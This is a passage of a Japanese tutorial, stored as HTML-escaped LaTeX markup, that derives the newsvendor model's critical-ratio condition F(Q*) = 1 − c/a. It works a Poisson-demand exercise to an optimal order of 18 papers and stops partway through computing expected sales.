&lt;div&gt;&lt;span&gt;&amp;amp;= a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[Q f_X(Q) + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q)) - Q f_X(Q)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] - c \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= a(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q)) - c&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適性の必要条件として、一階導関数を0とおく：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)]}{dQ} = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Leftrightarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad a(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q^*)) = c&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F_X(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{a-c}{a}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**離散分布の場合**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;離散最適化では、差分（Difference）を用いる。期待利益の差分：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)] - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] &amp;amp;= a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, X)] - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)]&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] - c \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X &amp;gt; Q) - c&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適性の条件は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q^*-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{かつ} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q^*)] &amp;lt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これは以下と等価：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq Q^*-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &amp;lt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq Q^*)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;すなわち、$&lt;/span&gt;&lt;span&gt; F_X(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - c/a $&lt;/span&gt;&lt;span&gt; を満たす最小の $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; が最適解である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### クリティカル比率（Critical Ratio）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適条件は以下の&lt;/span&gt;&lt;span&gt;**クリティカル比率**&lt;/span&gt;&lt;span&gt;で表現される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{a-c}{a} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{限界利益}}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{販売価格}} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{機会損失}}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{機会損失} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{過剰在庫コスト}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、&lt;/span&gt;&lt;span&gt;**機会損失**&lt;/span&gt;&lt;span&gt;は1単位売りそこねたときの限界利益 $&lt;/span&gt;&lt;span&gt;a-c$&lt;/span&gt;&lt;span&gt;（販売価格から仕入価格を引いた値）を指し、&lt;/span&gt;&lt;span&gt;**過剰在庫コスト**&lt;/span&gt;&lt;span&gt;は1単位売れ残ったときの損失 $&lt;/span&gt;&lt;span&gt;c$&lt;/span&gt;&lt;span&gt;（仕入価格）を指す。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この比率は、&lt;/span&gt;&lt;span&gt;**ニュースベンダー比率**&lt;/span&gt;&lt;span&gt;（Newsvendor Ratio）とも呼ばれる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 最適発注数量の決定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**客数の累積分布関数 $&lt;/span&gt;&lt;span&gt; F(Q^*) $&lt;/span&gt;&lt;span&gt; が $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} $&lt;/span&gt;&lt;span&gt; となる点が最適発注数量 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### まとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕入価格**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; c $&lt;/span&gt;&lt;span&gt; 円/部&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**販売価格**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; a $&lt;/span&gt;&lt;span&gt; 円/部&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 当日の客数の分布が分かれば、その累積分布関数 $&lt;/span&gt;&lt;span&gt; F(x) $&lt;/span&gt;&lt;span&gt; に対して&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} $&lt;/span&gt;&lt;span&gt; を満たす $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; が&lt;/span&gt;&lt;span&gt;**利益最大化の仕入数**&lt;/span&gt;&lt;span&gt;になる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 具体例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;例えば、$&lt;/span&gt;&lt;span&gt; c = &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円、$&lt;/span&gt;&lt;span&gt; a = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円の場合：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;0.2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 累積確率が20%となる点が最適仕入数&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; つまり、需要の上位80%をカバーする数量が最適仕入数になる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; この場合、売れ残りリスクを避けるため、平均需要より少なめに仕入れるのが最適&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このようにして、需要分布ごとに最適な新聞の仕入れ数 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; を決めることができる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題③　新聞売り子問題の数値計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;新聞売り子が以下の条件で新聞を販売している：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 仕入価格: $&lt;/span&gt;&lt;span&gt;c = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 円/部&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 販売価格: $&lt;/span&gt;&lt;span&gt;a = &lt;/span&gt;&lt;span&gt;150&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 円/部&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1日の来客数は平均 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 人のポアソン分布に従う&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布の累積分布関数の値は以下の通り：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.1565&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.2211&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.2970&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.3814&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.4703&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.5591&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;21&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.6446&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; クリティカル比率を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 最適発注数量 $&lt;/span&gt;&lt;span&gt;Q^*$&lt;/span&gt;&lt;span&gt; を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; 最適発注数量での期待売上部数の概算値を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 解答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. クリティカル比率の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適条件は $&lt;/span&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a}$&lt;/span&gt;&lt;span&gt; であるから：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;150&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;クリティカル比率は $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{a-c}{a} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;150&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 最適発注数量 $Q^*$ の決定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;累積分布関数の値を見ると：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.2970&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;0.3814&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、$&lt;/span&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;) &amp;lt; &lt;/span&gt;&lt;span&gt;0.3333&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq F(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; より、最適発注数量は $&lt;/span&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 部である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. 期待売上部数の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注数量 $&lt;/span&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 部の場合、期待売上部数 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)]$&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;, X)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ポアソン分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; の確率質量関数 $&lt;/span&gt;&lt;span&gt;P(X = x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;^x e^{-&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;}}{x!}$&lt;/span&gt;&lt;span&gt; を用いて計算する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;主要な項の計算：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;P(X = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) = e^{-&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;2.061&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;^{-&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;/div&gt;
